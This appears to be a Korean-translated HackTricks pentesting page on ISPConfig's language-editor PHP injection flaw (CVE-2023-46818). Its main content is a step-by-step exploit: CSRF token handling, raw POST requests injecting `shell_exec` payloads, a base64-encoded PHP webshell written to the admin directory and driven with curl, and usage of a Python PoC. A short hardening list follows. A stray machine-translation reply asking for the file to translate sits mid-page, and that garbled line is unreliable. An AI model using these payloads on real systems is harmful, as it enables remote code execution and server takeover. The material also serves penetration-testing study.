ISPConfig
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
개요
ISPConfig는 오픈소스 호스팅 컨트롤 패널입니다. 구버전 3.2.x 빌드는 언어 파일 편집기 기능을 포함하고 있었는데, 이 기능이 슈퍼 관리자(super administrator)에게 활성화된 경우 잘못된 형식의 번역 레코드를 통해 임의의 PHP 코드 주입이 가능했습니다. 이로 인해 웹 서버 컨텍스트에서 RCE가 발생할 수 있으며, PHP가 어떻게 실행되는지에 따라 권한 상승이 일어날 수 있습니다.
주요 기본 경로:
- 웹 루트는
php -S
로 제공되거나 Apache/nginx를 통해 서비스될 때 종종/var/www/ispconfig
에 위치합니다. - 관리자 UI는 HTTP(S) vhost에서 접근 가능(때로는 localhost로만 바인딩되어 있을 수 있으므로, 필요하면 SSH 포트 포워딩을 사용하세요).
팁: 패널이 로컬에 바인딩되어 있다면(예: 127.0.0.1:8080
), 포워딩하세요:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
언어 편집기 PHP code injection (CVE-2023-46818)
- 영향받는 버전: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- 전제 조건:
- 내장 superadmin 계정
admin
으로 로그인 (벤더에 따르면 다른 역할은 영향 없음) - 언어 편집기 활성화 필요:
admin_allow_langedit=yes
in/usr/local/ispconfig/security/security_settings.ini
- 영향: 인증된 admin은 언어 파일에 기록되어 애플리케이션에 의해 실행되는 임의의 PHP를 inject하여 웹 컨텍스트에서 RCE를 달성할 수 있음
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
수동 익스플로잇 흐름
- 언어 파일을 열거나 생성하여 CSRF 토큰을 얻음
첫 번째 POST를 보내 폼을 초기화하고 HTML 응답에서 CSRF 필드(csrf_id
, csrf_key
)를 파싱합니다. 예시 요청 경로: /admin/language_edit.php
.
- records[]를 통해 PHP를 inject하고 저장
CSRF 필드와 악성 번역 레코드를 포함해 두 번째 POST를 제출합니다. 최소한의 명령 실행 프로브:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
대역 외 테스트 (ICMP 관찰):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- 파일을 작성하고 webshell을 배치
file_put_contents
를 사용하여 웹에서 접근 가능한 경로(예: admin/
)에 파일을 생성하세요:
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
그런 다음 POST 본문에서 문제가 되는 문자를 피하기 위해 base64를 사용하여 간단한 webshell을 작성하세요:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
번역할 파일(src/network-services-pentesting/pentesting-web/ispconfig.md)의 내용을 여기에 붙여 넣어 주세요. 제공해주시면 마크다운/HTML 문법을 그대로 유지하며 영어 본문을 한국어로 번역하겠습니다.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
PHP가 root로 실행되는 경우(예: root로 시작한 php -S 127.0.0.1:8080
), 즉시 root RCE를 얻습니다. 그렇지 않으면 웹 서버 사용자 권한으로 코드 실행을 얻습니다.
Python PoC
즉시 사용 가능한 exploit는 token 처리와 payload 전달을 자동화합니다:
실행 예:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Hardening
- 3.2.11p1 이상으로 업그레이드
- 언어 편집기는 꼭 필요하지 않다면 비활성화하세요:
admin_allow_langedit=no
- 패널을 root로 실행하지 마십시오; PHP-FPM 또는 웹 서버가 권한을 낮추도록 구성하세요
- 내장된
admin
계정에 대해 강력한 인증을 적용하세요
참고자료
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.